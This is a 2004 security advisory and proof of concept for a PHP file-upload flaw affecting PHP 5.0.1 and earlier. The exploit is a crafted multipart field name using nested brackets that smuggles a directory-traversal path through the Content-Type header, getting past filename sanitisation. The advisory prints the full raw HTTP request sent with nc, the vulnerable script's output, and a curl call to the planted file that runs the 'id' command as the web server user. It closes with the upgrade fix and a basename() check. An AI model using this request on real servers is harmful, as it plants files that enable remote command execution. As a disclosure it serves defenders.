PHP File Upload Vulnerability POC Title: Overwrite $_FILE array in rfc1867 - Mime multipart/form-data File Upload Author: Stefano Di Paola Affected: Php <= 5.0.1 Not Affected: Maybe some old Version of Php before 4.2.x Vulnerability Type: Possible write of a downloaded file in an arbitrary location. Resources: Recently published on Bugtraq and VulnWatch Description: By forging an appropriate request for a Mime multipart/form-data file it is possible to set the "name" element value to an arbitrary filename if the name of $_FILES element contains a '_' (underscore) like "user_file" Let's use Example 34-2. Validating file uploads (changing 'userfile' to 'user_file') from http://www.php.net/manual/en/features.file-upload.php : -----file: upload.php------ "; if (is_uploaded_file($_FILES['user_file']['tmp_name']) && move_uploaded_file($_FILES['user_file']['tmp_name'], $uploadfile)) { print "File is valid, and was successfully uploaded. "; print "Here's some more debugging info:\n"; print_r($_FILES); } else { print "Possible file upload attack! Here's some debugging info:\n"; print_r($_FILES); } print ""; ?> ----end file: upload.php------ N.B. The is_uploaded_file php function has been added to proof that this check is bypassable. Let's suppose that /var/www/html/ is writable by apache user (or any other dir in apache root). $: (cat form)|nc 127.0.0.1 80
 File is valid, and was successfully uploaded.
 Here's some more debugging info:

 Array(
         [user_file] =>Array(
                               [name] =>  ../html/passt.php
                               [tmp_name] => /tmp/phpucjLV1
                               [error] => 0
                               [size] => 30
                               [type] => application/octet-stream
                           )
         )
where form is: -----8<---form-------8<----- POST /upload.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.6) Gecko/20040115 Galeon/1.3.12 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1 Accept-Language: en Accept-Encoding: gzip, deflate, compress;q=0.9 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: Content-Type: multipart/form-data; boundary=---------------------------1648318426118446961720965026 Content-Length: 395 -----------------------------1648318426118446961720965026 Content-Disposition: form-data; name="user[file[name]123"; filename="p.php" Content-Type: ../html/passt.php -----------------------------1648318426118446961720965026 Content-Disposition: form-data; name="user[file[type]123"; filename="vg" Content-Type: application/octet-stream -----8<---endform----8<----- By looking closely our request it can be noted that the name of uploaded file is going to be valued by 'Content-Type: ../html/passt.php' and not by filename='p.php' Second section is injected just to make things more 'normal', by allowing php interpreter to instanziate 'type' element, but it's just a matter of style... And then let's verify that all went right: $: curl "127.0.0.1/passt.php?cm=id" uid=72(apache) gid=72(apache) groups=72(apache) Done! The Issue This vulnerability permits to bypass the sanitization php interpreter does on filename to remove prepended directories. So if the developer of a upload php script trust in php pre sanitization of input, a malicious user could use this flaw to upload a file in an arbitrary location. The issue is in the fact that, as can be seen in request, by playing with sqare brackets and by appending some non ']' at the end of the 'name' variable value, a malicious user can fool the array parser embedded in php interpreter, resulting in a different array from the expected one. I won't go too deep in details on why this was possible (it's just a matter of debugging), but it should be enough to know that the parameter 'name' value in request ('user[file[element]123') is parsed firstly as a simple String type by SAPI_POST_HANDLER_FUNC (is_arr_upload = 0) and then parameter is parsed again by php_register_variable and seen as an array. This flaw creates a incongruence in the type of the variable, that can be used to exploit the php upload script. Additional Topics by playing with arrays of arrays and open square brackets I did a lot of thing but the *big* thing is this one. The Solution The most simple solution consists in downloading and installing php 5.0.2 or 4.3.9 that have been released a couple of days ago. An alternative solution is to check if $_FILES[]['name'] is really a stripped filename by using something like this: $filename=basename($_FILES[]['name']); Florence, September the 26th 2004